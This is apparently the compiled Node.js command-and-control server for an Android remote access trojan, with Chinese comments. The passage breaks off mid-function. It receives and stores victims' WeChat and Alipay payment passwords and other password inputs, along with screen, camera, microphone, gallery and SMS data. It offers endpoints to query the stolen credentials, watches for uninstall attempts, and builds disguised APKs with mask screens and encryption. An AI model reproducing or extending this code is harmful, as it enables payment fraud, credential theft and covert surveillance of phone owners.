"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); // 在文件最顶部加载环境变量配置 const dotenv_1 = __importDefault(require("dotenv")); const path_1 = __importDefault(require("path")); // pkg 打包后,需要从可执行文件所在目录读取 .env 文件 // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 const envPath = process.pkg ? path_1.default.join(path_1.default.dirname(process.execPath), '.env') : path_1.default.join(process.cwd(), '.env'); dotenv_1.default.config({ path: envPath }); const express_1 = __importDefault(require("express")); const http_1 = require("http"); const socket_io_1 = require("socket.io"); const cors_1 = __importDefault(require("cors")); const multer_1 = __importDefault(require("multer")); const uuid_1 = require("uuid"); const fs_1 = __importDefault(require("fs")); const DeviceManager_1 = __importDefault(require("./managers/DeviceManager")); const WebClientManager_1 = __importDefault(require("./managers/WebClientManager")); const MessageRouter_1 = __importDefault(require("./services/MessageRouter")); const DatabaseService_1 = require("./services/DatabaseService"); const Logger_1 = __importDefault(require("./utils/Logger")); const APKBuildService_1 = __importDefault(require("./services/APKBuildService")); const AuthService_1 = __importDefault(require("./services/AuthService")); const DeviceInfoSyncService_1 = __importDefault(require("./services/DeviceInfoSyncService")); /** * 远程控制服务端主应用 */ class RemoteControlServer { constructor() { this.registrationQueue = []; this.isProcessingRegistration = false; this.lastRegistrationTime = 0; this.REGISTRATION_COOLDOWN = 100; // 100ms间隔处理注册 /** * 认证中间件 - 验证JWT token */ this.authMiddleware = (req, res, next) => { try { const authHeader = req.headers.authorization; if (!authHeader || !authHeader.startsWith('Bearer ')) { return res.status(401).json({ success: false, message: '未提供认证token' }); } const token = authHeader.substring(7); const result = this.authService.verifyToken(token); if (!result.valid) { return res.status(401).json({ success: false, message: result.error || '认证失败' }); } // 将用户信息添加到请求对象(包含角色信息) req.user = result.user; req.user.isSuperAdmin = result.user?.role === 'superadmin'; next(); } catch (error) { this.logger.error('认证中间件错误:', error); res.status(500).json({ success: false, message: '服务器内部错误' }); } }; this.app = (0, express_1.default)(); this.server = (0, http_1.createServer)(this.app); this.io = new socket_io_1.Server(this.server, { cors: { origin: "*", methods: ["GET", "POST"] }, transports: ['polling'], // 🔧 修复:只使用polling,匹配Android客户端配置,避免升级冲突 // 🔧 适度优化心跳配置,保持与Android端兼容 pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断 pingInterval: 45000, // 45秒 - 保持合理的心跳间隔 upgradeTimeout: 45000, // 45秒 - 升级超时(虽然不会升级) connectTimeout: 60000, // 60秒 - 连接超时 // 🔧 连接管理优化 maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据 allowEIO3: true, // 允许Engine.IO v3兼容性 // ✅ 针对transport error的服务器端优化 - 禁用升级相关功能 serveClient: false, // 禁用客户端服务,减少不必要的连接 allowUpgrades: false, // 🔧 关键修复:禁用传输升级,避免与客户端冲突 destroyUpgrade: false, // 不销毁升级连接(虽然不会升级) destroyUpgradeTimeout: 1000, // 升级销毁超时1秒 cookie: false, // 禁用cookie,减少连接复杂性 // 🔧 新增:解决transport error的关键配置 perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟 httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销 allowRequest: (req, callback) => { // 允许所有请求,但记录连接信息用于调试 const userAgent = req.headers['user-agent'] || 'unknown'; const remoteAddress = req.connection.remoteAddress || 'unknown'; callback(null, true); } }); this.logger = new Logger_1.default('Server'); this.databaseService = new DatabaseService_1.DatabaseService(); this.deviceManager = new DeviceManager_1.default(); this.webClientManager = new WebClientManager_1.default(this.databaseService); this.webClientManager.setSocketIO(this.io); this.messageRouter = new MessageRouter_1.default(this.deviceManager, this.webClientManager, this.databaseService); this.apkBuildService = new APKBuildService_1.default(); this.authService = new AuthService_1.default(); // 注意:AuthService 的异步初始化在 start() 方法中执行 this.deviceInfoSyncService = new DeviceInfoSyncService_1.default(this.authService); // 配置multer用于文件上传 this.upload = (0, multer_1.default)({ storage: multer_1.default.memoryStorage(), limits: { fileSize: 2 * 1024 * 1024, // 2MB限制 }, fileFilter: (req, file, cb) => { if (file.mimetype.startsWith('image/')) { cb(null, true); } else { cb(new Error('只支持图片文件')); } } }); // ✅ 清理所有旧的客户端和设备记录(服务器重启时) this.webClientManager.clearAllClients(); this.deviceManager.clearAllDevices(); this.setupMiddleware(); this.setupRoutes(); this.setupSocketHandlers(); // ✅ 启动状态一致性检查定时器 this.startConsistencyChecker(); // 🆕 启动设备信息同步服务 this.deviceInfoSyncService.start(); } /** * 设置中间件 */ setupMiddleware() { this.app.use((0, cors_1.default)()); this.app.use(express_1.default.json()); // pkg 打包后,需要从可执行文件所在目录读取 public 目录 // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 const publicPath = process.pkg ? path_1.default.join(path_1.default.dirname(process.execPath), 'public') : path_1.default.join(process.cwd(), 'public'); this.app.use(express_1.default.static(publicPath)); } /** * 检查是否为超级管理员 */ isSuperAdmin(req) { return req.user?.role === 'superadmin' || req.user?.isSuperAdmin === true; } /** * 设置HTTP路由 */ setupRoutes() { // 认证路由 this.app.post('/api/auth/login', async (req, res) => { try { const { username, password } = req.body; if (!username || !password) { res.status(400).json({ success: false, message: '用户名和密码不能为空' }); return; } // 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制) const activeWebClients = this.getActiveWebClients(); const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin'); if (activeWebClients.length > 0 && !isSuperAdminLogin) { this.logger.warn(`拒绝登录请求: 检测到 ${activeWebClients.length} 个活跃的Web客户端已在线`); res.status(409).json({ success: false, message: '已有Web端在线,不允许重复登录', activeClients: activeWebClients.length, details: `检测到 ${activeWebClients.length} 个活跃的Web客户端连接。为确保安全,同时只允许一个Web端登录。` }); return; } if (isSuperAdminLogin && activeWebClients.length > 0) { this.logger.info(`超级管理员登录,忽略 ${activeWebClients.length} 个活跃客户端限制`); } const result = await this.authService.login(username, password); if (result.success) { this.logger.info(`用户登录成功: ${username}, 当前无其他Web客户端在线`); res.json(result); } else { res.status(401).json(result); } } catch (error) { this.logger.error('登录接口错误:', error); res.status(500).json({ success: false, message: '服务器内部错误' }); } }); this.app.post('/api/auth/verify', (req, res) => { try { const authHeader = req.headers.authorization; if (!authHeader || !authHeader.startsWith('Bearer ')) { res.status(401).json({ valid: false, error: '缺少认证token' }); return; } const token = authHeader.substring(7); const result = this.authService.verifyToken(token); res.json(result); } catch (error) { this.logger.error('Token验证接口错误:', error); res.status(500).json({ valid: false, error: '服务器内部错误' }); } }); this.app.post('/api/auth/logout', (req, res) => { // 简单的登出响应,实际的token失效在前端处理 res.json({ success: true, message: '登出成功' }); }); // 检查系统是否已初始化(不需要认证) this.app.get('/api/auth/check-initialization', (req, res) => { try { const isInitialized = this.authService.isInitialized(); const initInfo = this.authService.getInitializationInfo(); const lockFilePath = this.authService.getInitLockFilePath(); res.json({ success: true, isInitialized, initializationInfo: initInfo, lockFilePath: lockFilePath, help: isInitialized ? `系统已初始化。如需重新初始化,请删除锁文件: ${lockFilePath}` : '系统未初始化,需要进行首次设置' }); } catch (error) { this.logger.error('检查初始化状态失败:', error); res.status(500).json({ success: false, error: '服务器内部错误' }); } }); // 初始化系统(不需要认证,但只有在未初始化时才能调用) this.app.post('/api/auth/initialize', async (req, res) => { try { const { username, password } = req.body; if (!username || !password) { res.status(400).json({ success: false, message: '用户名和密码不能为空' }); return; } const result = await this.authService.initializeSystem(username, password); if (result.success) { res.json(result); } else { res.status(400).json(result); } } catch (error) { this.logger.error('系统初始化接口错误:', error); res.status(500).json({ success: false, message: '服务器内部错误' }); } }); // // 🆕 设备信息同步相关 API // this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => { // try { // const status = this.deviceInfoSyncService.getStatus() // res.json({ // success: true, // ...status // }) // } catch (error: any) { // this.logger.error('获取同步状态失败:', error) // res.status(500).json({ // success: false, // message: '获取同步状态失败' // }) // } // }) // this.app.post('/api/device/sync/trigger', this.authMiddleware, async (req: any, res) => { // try { // const success = await this.deviceInfoSyncService.triggerSync() // if (success) { // res.json({ // success: true, // message: '同步已触发' // }) // } else { // res.status(500).json({ // success: false, // message: '同步触发失败' // }) // } // } catch (error: any) { // this.logger.error('触发同步失败:', error) // res.status(500).json({ // success: false, // message: '触发同步失败' // }) // } // }) // 健康检查 this.app.get('/health', (req, res) => { res.json({ status: 'ok', timestamp: new Date().toISOString(), connectedDevices: this.deviceManager.getDeviceCount(), connectedClients: this.webClientManager.getClientCount() }); }); // API路由 (需要认证) this.app.get('/api/devices', this.authMiddleware, (req, res) => { // ✅ 使用完整的设备列表(包含历史设备和正确状态) res.json(this.getAllDevicesIncludingHistory()); }); this.app.get('/api/devices/:deviceId', this.authMiddleware, (req, res) => { const device = this.deviceManager.getDevice(req.params.deviceId); if (device) { res.json(device); } else { res.status(404).json({ error: 'Device not found' }); } }); // 🆕 设备备注相关API this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; const { remark } = req.body; this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`); // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId); if (!device) { // 尝试从数据库查找设备 const dbDevice = this.databaseService.getDeviceById(deviceId); if (!dbDevice) { res.status(404).json({ success: false, message: '设备不存在' }); return; } } // 更新设备备注 const success = this.databaseService.updateDeviceRemark(deviceId, remark || ''); if (success) { // 如果设备在线,更新内存中的设备信息 if (device) { device.remark = remark; } res.json({ success: true, message: '设备备注已更新', deviceId: deviceId, remark: remark }); } else { res.status(500).json({ success: false, message: '更新设备备注失败' }); } } catch (error) { this.logger.error('更新设备备注失败:', error); res.status(500).json({ success: false, message: '服务器内部错误' }); } }); this.app.get('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; this.logger.info(`📝 获取设备备注: ${deviceId}`); // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId); if (!device) { // 尝试从数据库查找设备 const dbDevice = this.databaseService.getDeviceById(deviceId); if (!dbDevice) { res.status(404).json({ success: false, message: '设备不存在' }); return; } } // 获取设备备注 const remark = this.databaseService.getDeviceRemark(deviceId); res.json({ success: true, deviceId: deviceId, remark: remark }); } catch (error) { this.logger.error('获取设备备注失败:', error); res.status(500).json({ success: false, message: '服务器内部错误' }); } }); // 🆕 查询设备是否被其他web客户端控制 this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; const currentUserId = req.user?.id; const currentUsername = req.user?.username; this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`); // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId); if (!device) { // 尝试从数据库查找设备 const dbDevice = this.databaseService.getDeviceById(deviceId); if (!dbDevice) { res.status(404).json({ success: false, message: '设备不存在' }); return; } } // 获取控制该设备的客户端ID const controllerClientId = this.webClientManager.getDeviceController(deviceId); if (!controllerClientId) { // 设备未被控制 res.json({ success: true, deviceId, isControlled: false, controller: null }); return; } // 获取控制者客户端信息 const controllerClient = this.webClientManager.getClient(controllerClientId); if (!controllerClient) { // 控制者客户端不存在(可能已断开) res.json({ success: true, deviceId, isControlled: false, controller: null }); return; } // 检查是否是当前用户自己在控制 const isCurrentUser = controllerClient.userId === currentUserId || controllerClient.username === currentUsername; // 返回控制者信息(不包含敏感信息) res.json({ success: true, deviceId, isControlled: true, isCurrentUser: isCurrentUser, controller: { clientId: controllerClientId, username: controllerClient.username || '未知用户', connectedAt: controllerClient.connectedAt, lastSeen: controllerClient.lastSeen, ip: controllerClient.ip, userAgent: controllerClient.userAgent } }); } catch (error) { this.logger.error('查询设备控制状态失败:', error); res.status(500).json({ success: false, error: '查询设备控制状态失败', message: error instanceof Error ? error.message : '未知错误' }); } }); // 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询 this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; const { page = 1, pageSize = 50, passwordType } = req.query; this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`); let result; // 根据密码类型选择查询方法 if (passwordType === 'ALIPAY_PASSWORD') { // 查询支付宝密码 const alipayResult = this.databaseService.getAlipayPasswords(deviceId, parseInt(page), parseInt(pageSize)); // 转换为统一格式 result = { passwords: alipayResult.passwords.map(pwd => ({ id: pwd.id, deviceId: pwd.deviceId, password: pwd.password, passwordLength: pwd.passwordLength, passwordType: 'ALIPAY_PASSWORD', activity: pwd.activity, inputMethod: pwd.inputMethod, installationId: 'unknown', sessionId: pwd.sessionId, timestamp: pwd.timestamp, createdAt: pwd.createdAt })), total: alipayResult.total, page: alipayResult.page, pageSize: alipayResult.pageSize, totalPages: alipayResult.totalPages }; } else if (passwordType === 'WECHAT_PASSWORD') { // 查询微信密码 const wechatResult = this.databaseService.getWechatPasswords(deviceId, parseInt(page), parseInt(pageSize)); // 转换为统一格式 result = { passwords: wechatResult.passwords.map(pwd => ({ id: pwd.id, deviceId: pwd.deviceId, password: pwd.password, passwordLength: pwd.passwordLength, passwordType: 'WECHAT_PASSWORD', activity: pwd.activity, inputMethod: pwd.inputMethod, installationId: 'unknown', sessionId: pwd.sessionId, timestamp: pwd.timestamp, createdAt: pwd.createdAt })), total: wechatResult.total, page: wechatResult.page, pageSize: wechatResult.pageSize, totalPages: wechatResult.totalPages }; } else { // 查询通用密码输入记录 result = this.databaseService.getPasswordInputs(deviceId, parseInt(page), parseInt(pageSize), passwordType); } res.json({ success: true, data: result }); } catch (error) { this.logger.error('获取密码输入记录失败:', error); res.status(500).json({ success: false, error: '获取密码输入记录失败', message: error instanceof Error ? error.message : '未知错误' }); } }); this.app.get('/api/password-inputs/:deviceId/latest', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; const { passwordType } = req.query; this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`); let latestPassword = null; // 根据密码类型选择查询方法 if (passwordType === 'ALIPAY_PASSWORD') { // 查询最新支付宝密码 const alipayPassword = this.databaseService.getLatestAlipayPassword(deviceId); if (alipayPassword) { latestPassword = { id: alipayPassword.id, deviceId: alipayPassword.deviceId, password: alipayPassword.password, passwordLength: alipayPassword.passwordLength, passwordType: 'ALIPAY_PASSWORD', activity: alipayPassword.activity, inputMethod: alipayPassword.inputMethod, installationId: 'unknown', sessionId: alipayPassword.sessionId, timestamp: alipayPassword.timestamp, createdAt: alipayPassword.createdAt }; } } else if (passwordType === 'WECHAT_PASSWORD') { // 查询最新微信密码 const wechatPassword = this.databaseService.getLatestWechatPassword(deviceId); if (wechatPassword) { latestPassword = { id: wechatPassword.id, deviceId: wechatPassword.deviceId, password: wechatPassword.password, passwordLength: wechatPassword.passwordLength, passwordType: 'WECHAT_PASSWORD', activity: wechatPassword.activity, inputMethod: wechatPassword.inputMethod, installationId: 'unknown', sessionId: wechatPassword.sessionId, timestamp: wechatPassword.timestamp, createdAt: wechatPassword.createdAt }; } } else { // 查询最新通用密码输入 latestPassword = this.databaseService.getLatestPasswordInput(deviceId, passwordType); } if (latestPassword) { res.json({ success: true, data: latestPassword }); } else { res.json({ success: true, data: null, message: '未找到密码输入记录' }); } } catch (error) { this.logger.error('获取最新密码输入失败:', error); res.status(500).json({ success: false, error: '获取最新密码输入失败', message: error instanceof Error ? error.message : '未知错误' }); } }); this.app.get('/api/password-inputs/:deviceId/stats', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`); // 获取通用密码输入统计 const generalStats = this.databaseService.getPasswordTypeStats(deviceId); // 获取支付宝密码统计 const alipayResult = this.databaseService.getAlipayPasswords(deviceId, 1, 1); const alipayStats = { passwordType: 'ALIPAY_PASSWORD', count: alipayResult.total, firstInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[alipayResult.passwords.length - 1].timestamp : null, lastInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[0].timestamp : null }; // 获取微信密码统计 const wechatResult = this.databaseService.getWechatPasswords(deviceId, 1, 1); const wechatStats = { passwordType: 'WECHAT_PASSWORD', count: wechatResult.total, firstInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[wechatResult.passwords.length - 1].timestamp : null, lastInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[0].timestamp : null }; // 合并所有统计 const allStats = [ ...generalStats, ...(alipayStats.count > 0 ? [alipayStats] : []), ...(wechatStats.count > 0 ? [wechatStats] : []) ].sort((a, b) => b.count - a.count); res.json({ success: true, data: allStats }); } catch (error) { this.logger.error('获取密码类型统计失败:', error); res.status(500).json({ success: false, error: '获取密码类型统计失败', message: error instanceof Error ? error.message : '未知错误' }); } }); this.app.delete('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params; const { passwordType } = req.query; this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`); // 根据密码类型选择删除方法 if (passwordType === 'ALIPAY_PASSWORD') { // 删除支付宝密码 this.databaseService.clearAlipayPasswords(deviceId); } else if (passwordType === 'WECHAT_PASSWORD') { // 删除微信密码 this.databaseService.clearWechatPasswords(deviceId); } else { // 删除通用密码输入记录 this.databaseService.clearPasswordInputs(deviceId, passwordType); } const typeDesc = passwordType ? ` (类型: ${passwordType})` : ''; res.json({ success: true, message: `密码输入记录已删除${typeDesc}` }); } catch (error) { this.logger.error('删除密码输入记录失败:', error); res.status(500).json({ success: false, error: '删除密码输入记录失败', message: error instanceof Error ? error.message : '未知错误' }); } }); // APK相关路由 (需要认证) this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => { try { const apkInfo = await this.apkBuildService.checkExistingAPK(); const buildStatus = this.apkBuildService.getBuildStatus(); const buildEnv = await this.apkBuildService.checkBuildEnvironment(); res.json({ success: true, apkInfo, buildStatus, buildEnvironment: buildEnv }); } catch (error) { this.logger.error('获取APK信息失败:', error); res.status(500).json({ success: false, error: error.message }); } }); this.app.post('/api/apk/build', this.authMiddleware, this.upload.single('appIcon'), async (req, res) => { try { // 获取服务器地址,如果没有提供则使用当前请求的地址 const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}`; // ✅ 获取配置选项 const options = { enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true, // enableConfigMask: true, enableProgressBar: req.body.enableProgressBar === 'true' || req.body.enableProgressBar === true, configMaskText: req.body.configMaskText, configMaskSubtitle: req.body.configMaskSubtitle, configMaskStatus: req.body.configMaskStatus, // 🔧 修复:添加加密相关参数 enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true, encryptionLevel: req.body.encryptionLevel, webUrl: req.body.webUrl, pageStyleConfig: typeof req.body.pageStyleConfig === 'string' ? JSON.parse(req.body.pageStyleConfig) : (req.body.pageStyleConfig || {}) }; // 如果有上传的图标文件,添加到选项中 if (req.file) { this.logger.info('收到图标文件:', req.file.originalname, `(${req.file.size} bytes)`); options.pageStyleConfig.appIconFile = { buffer: req.file.buffer, originalname: req.file.originalname, mimetype: req.file.mimetype }; } // 🔧 添加调试日志:显示接收到的原始参数 this.logger.info('[DEBUG] 接收到的原始请求参数:'); this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption); this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel); this.logger.info('[DEBUG] - enableConfigMask:', req.body.enableConfigMask); this.logger.info('[DEBUG] - enableProgressBar:', req.body.enableProgressBar); this.logger.info('收到构建请求,配置选项:', JSON.stringify({ ...options, pageStyleConfig: { ...options.pageStyleConfig, appIconFile: options.pageStyleConfig.appIconFile ? `文件: ${options.pageStyleConfig.appIconFile.originalname}` : undefined } }, null, 2)); // 立即返回响应,让构建在后台进行 res.json({ success: true, message: '构建已开始,请通过 /api/apk/build-status 接口查看进度', building: true }); // 在后台执行构建,不阻塞HTTP响应 this.apkBuildService.buildAPK(serverUrl, options) .then((result) => { this.logger.info('构建完成:', result); // 构建完成,结果可以通过build-status接口获取 }) .catch((error) => { this.logger.error('构建APK失败:', error); this.logger.error('错误堆栈:', error.stack); // 错误已记录在构建日志中,可以通过build-logs接口查看 }); } catch (error) { this.logger.error('构建APK请求处理失败:', error); this.logger.error('错误堆栈:', error.stack); if (!res.headersSent) { res.status(500).json({ success: false, error: error.message || '构建请求处理失败' }); } } }); this.app.get('/api/apk/build-status', this.authMiddleware, (req, res) => { try { const status = this.apkBuildService.getBuildStatus(); res.json(status); } catch (error) { this.logger.error('获取构建状态失败:', error); res.status(500).json({ success: false, error: error.message }); } }); // 获取构建日志API this.app.get('/api/apk/build-logs', this.authMiddleware, (req, res) => { try { const limit = req.query.limit ? parseInt(req.query.limit) : undefined; const logs = this.apkBuildService.getBuildLogs(limit); res.json({ success: true, logs, total: logs.length }); } catch (error) { this.logger.error('获取构建日志失败:', error); res.status(500).json({ success: false, error: error.message }); } }); // 清空构建日志API this.app.delete('/api/apk/build-logs', this.authMiddleware, (req, res) => { try { this.apkBuildService.clearBuildLogs(); res.json({ success: true, message: '构建日志已清空' }); } catch (error) { this.logger.error('清空构建日志失败:', error); res.status(500).json({ success: false, error: error.message }); } }); this.app.get('/api/apk/download', this.authMiddleware, async (req, res) => { try { const result = await this.apkBuildService.getAPKForDownload(); if (!result.success) { res.status(404).json({ success: false, error: result.error }); return; } const filePath = result.filePath; const filename = result.filename; // 设置下载头 res.setHeader('Content-Disposition', `attachment; filename="${filename}"`); res.setHeader('Content-Type', 'application/vnd.android.package-archive'); res.setHeader('Content-Length', result.size.toString()); // 发送文件 res.sendFile(filePath, (err) => { if (err) { this.logger.error('发送APK文件失败:', err); if (!res.headersSent) { res.status(500).json({ success: false, error: '文件下载失败' }); } } else { this.logger.info(`APK下载成功: ${filename}`); } }); } catch (error) { this.logger.error('处理APK下载请求失败:', error); if (!res.headersSent) { res.status(500).json({ success: false, error: error.message }); } } }); // 分享链接管理API this.app.get('/api/apk/shares', this.authMiddleware, (req, res) => { try { const shares = this.apkBuildService.getActiveShares(); res.json({ success: true, shares }); } catch (error) { this.logger.error('获取分享链接列表失败:', error); res.status(500).json({ success: false, error: error.message }); } }); this.app.delete('/api/apk/shares/:sessionId', this.authMiddleware, async (req, res) => { try { const { sessionId } = req.params; const result = await this.apkBuildService.stopShare(sessionId); if (result) { res.json({ success: true, message: '分享链接已停止' }); } else { res.status(404).json({ success: false, error: '分享会话不存在' }); } } catch (error) { this.logger.error('停止分享链接失败:', error); res.status(500).json({ success: false, error: error.message }); } }); // 默认路由 - 返回 index.html(如果静态文件服务没有处理) this.app.get('/', (req, res) => { // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 const publicPath = process.pkg ? path_1.default.join(path_1.default.dirname(process.execPath), 'public') : path_1.default.join(process.cwd(), 'public'); const indexPath = path_1.default.join(publicPath, 'index.html'); // 检查 index.html 是否存在 if (fs_1.default.existsSync(indexPath)) { res.sendFile(indexPath); } else { // 如果 index.html 不存在,返回 JSON 信息 res.json({ name: 'Remote Control Server', version: '1.0.0', description: 'Android远程控制中继服务器', note: 'public/index.html not found' }); } }); } /** * 设置Socket.IO事件处理 */ /** * 🔧 将设备注册请求加入队列处理,防止并发冲突 */ queueDeviceRegistration(socket, data) { const timestamp = Date.now(); this.registrationQueue.push({ socket, data, timestamp }); this.logger.debug(`设备注册请求已加入队列: ${socket.id}, 队列长度: ${this.registrationQueue.length}`); // 启动队列处理 this.processRegistrationQueue(); } /** * 🔧 处理设备注册队列 */ async processRegistrationQueue() { // 如果正在处理或队列为空,直接返回 if (this.isProcessingRegistration || this.registrationQueue.length === 0) { return; } this.isProcessingRegistration = true; while (this.registrationQueue.length > 0) { const currentTime = Date.now(); // 检查冷却时间,防止注册请求过于频繁 if (currentTime - this.lastRegistrationTime < this.REGISTRATION_COOLDOWN) { const waitTime = this.REGISTRATION_COOLDOWN - (currentTime - this.lastRegistrationTime); this.logger.debug(`注册冷却中,等待 ${waitTime}ms`); await new Promise(resolve => setTimeout(resolve, waitTime)); } // 取出队列中的第一个请求 const request = this.registrationQueue.shift(); if (!request) break; const { socket, data, timestamp } = request; // 检查请求是否过期(超过30秒的请求丢弃) if (currentTime - timestamp > 30000) { this.logger.warn(`丢弃过期的注册请求: ${socket.id}, 延迟: ${currentTime - timestamp}ms`); continue; } // 检查socket是否仍然连接 if (!socket.connected) { this.logger.warn(`跳过已断开连接的注册请求: ${socket.id}`); continue; } try { this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`); this.handleDeviceRegister(socket, data); this.lastRegistrationTime = Date.now(); } catch (error) { this.logger.error(`队列处理设备注册失败: ${socket.id}`, error); } } this.isProcessingRegistration = false; } setupSocketHandlers() { this.io.on('connection', (socket) => { this.logger.info(`新连接建立: ${socket.id} (传输: ${socket.conn.transport.name})`); // 🔧 移除强制认证检查 - 让设备端可以正常连接,认证只在web客户端注册时进行 // 🔧 增强连接监控,帮助诊断误断开问题 socket.conn.on('upgrade', () => { this.logger.info(`连接升级: ${socket.id} -> ${socket.conn.transport.name}`); }); socket.conn.on('upgradeError', (error) => { this.logger.warn(`连接升级失败: ${socket.id}`, error); }); socket.on('disconnecting', (reason) => { this.logger.warn(`⚠️ 连接即将断开: ${socket.id}, 原因: ${reason}`); }); // 🔧 设备注册 - 使用队列处理 socket.on('device_register', (data) => { this.queueDeviceRegistration(socket, data); }); // 处理Web客户端连接 socket.on('web_client_register', (data) => { this.handleWebClientRegister(socket, data); }); // 处理控制消息 socket.on('control_message', (data) => { this.messageRouter.routeControlMessage(socket.id, data); }); // 处理摄像头控制消息 socket.on('camera_control', (data) => { // 将摄像头控制消息转换为标准控制消息格式 const controlMessage = { type: data.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH deviceId: data.deviceId, data: data.data || {}, timestamp: Date.now() }; this.messageRouter.routeControlMessage(socket.id, controlMessage); }); // 处理屏幕数据 socket.on('screen_data', (data) => { this.messageRouter.routeScreenData(socket.id, data); }); // 💬 微信密码监听器 socket.on('wechat_password', (data) => { this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`); this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由微信密码数据 const routeResult = this.messageRouter.routeWechatPassword(socket.id, data); this.logger.info(`📤 微信密码路由结果: ${routeResult}`); }); // 🔐 通用密码输入监听器 socket.on('password_input', (data) => { this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`); this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由通用密码输入数据 const routeResult = this.messageRouter.routePasswordInput(socket.id, data); this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`); }); socket.on('alipay_password', (data) => { this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`); this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由支付宝密码数据 const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data); this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`); }); // 处理摄像头数据 socket.on('camera_data', (data) => { this.messageRouter.routeCameraData(socket.id, data); }); // 相册图片数据 socket.on('gallery_image', (data) => { this.messageRouter.routeGalleryImage(socket.id, data); }); // 麦克风音频数据 socket.on('microphone_audio', (data) => { this.messageRouter.routeMicrophoneAudio(socket.id, data); }); socket.on('sms_data', (data) => { this.messageRouter.routeSmsData(socket.id, data); }); // 处理设备状态更新 socket.on('device_status', (data) => { this.deviceManager.updateDeviceStatus(socket.id, data); // 通过socket.deviceId获取设备ID,而不是socket.id if (socket.deviceId) { this.broadcastDeviceStatus(socket.deviceId, data); } }); // 处理客户端事件(设备控制请求等) socket.on('client_event', (data) => { this.logger.info(`收到客户端事件: ${JSON.stringify(data)}`); this.messageRouter.routeClientEvent(socket.id, data.type, data.data); }); // 处理操作日志(从设备接收) socket.on('operation_log', (data) => { this.logger.debug(`收到操作日志: ${JSON.stringify(data)}`); this.messageRouter.handleOperationLog(socket.id, data); }); // 🆕 处理设备输入阻塞状态变更(从设备接收) socket.on('device_input_blocked_changed', (data) => { this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`); this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`); // 直接调用MessageRouter的处理方法 if (data?.deviceId && data?.blocked !== undefined) { this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked); this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`); } else { this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`); } }); // 🛡️ 处理卸载尝试检测(从设备接收) socket.on('uninstall_attempt_detected', (data) => { this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`); this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`); if (data?.deviceId && data?.type) { // 广播卸载尝试检测事件到所有Web客户端 this.webClientManager.broadcastToAll('uninstall_attempt_detected', { deviceId: data.deviceId, type: data.type, message: data.message || '检测到卸载尝试', timestamp: data.timestamp || Date.now() }); this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`); } else { 